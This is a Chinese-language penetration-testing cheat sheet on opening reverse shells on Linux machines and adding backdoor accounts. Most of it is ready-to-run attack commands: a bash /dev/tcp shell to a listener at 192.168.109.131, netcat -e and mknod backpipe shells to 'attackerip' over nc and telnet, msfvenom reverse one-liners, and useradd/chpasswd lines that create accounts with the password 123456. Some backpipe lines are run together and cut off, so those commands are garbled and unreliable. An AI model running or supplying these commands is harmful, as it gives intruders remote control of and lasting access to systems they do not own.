在滲透測試過程中由於防火牆和其它安全防御措施,很多服務器只能單向向外訪問,不能被訪問,我們常常需要反彈shell。
1.bash反彈shell
本地開啟監聽
nc -lvvp 8080
受害主機命令
bash -i >& /dev/tcp/192.168.109.131/8080 0>&1
收到反彈回來的shell
2. NC反彈shell
各個Linux發行版本雖然安裝有netcat,但是有其具有反彈shell功能的參數 -e不能使用,我們需要下載安裝netcat原生版。
## 下載
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz ## 解壓
tar -zxvf netcat- ## 編譯安裝 ./configure make && make install make clean
切換到nc 目錄執行 nc -V 測試成功與否
[root@localhost ~]# nc -V netcat (The GNU Netcat) 0.7.1 Copyright (C) 2002 - 2003 Giovanni Giacobbi
受害主機
nc -lvvp 8888 -t -e /bin/bash
nc 192.168.109.132 8888
攻擊主機
在前面說的NC 不支持 -e選項時
mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe /bin/sh | nc attackerip 4444 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/
3.使用Telnet反彈shell
在NC不可用或者 /dev/tcp不能用的時候
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe
4.使用msf獲取反彈shell
4.1 reverse payload反彈路徑
msfvenom -l payloads 'cmd/unix/reverse'
4.2生成反彈一句話
msfvenom -p cmd/unix/reverse_xxxx lhost=192.168.109.131 lport=8080 R
將生成的payload 反彈一句話直接復制到靶機上直接運行就會反彈shell。
5.Linux一句話添加賬戶
有時候會遇到尷尬的不能回顯,也無法打開vim….一句話添加賬戶很真香
5.1 useradd -p
useradd -p `openssl passwd 123456` guest
5.2 echo -e
useradd test;echo -e "123456n123456n" |passwd test
5.3 chpasswd
useradd guest;echo 'guest:123456'|chpasswd
參考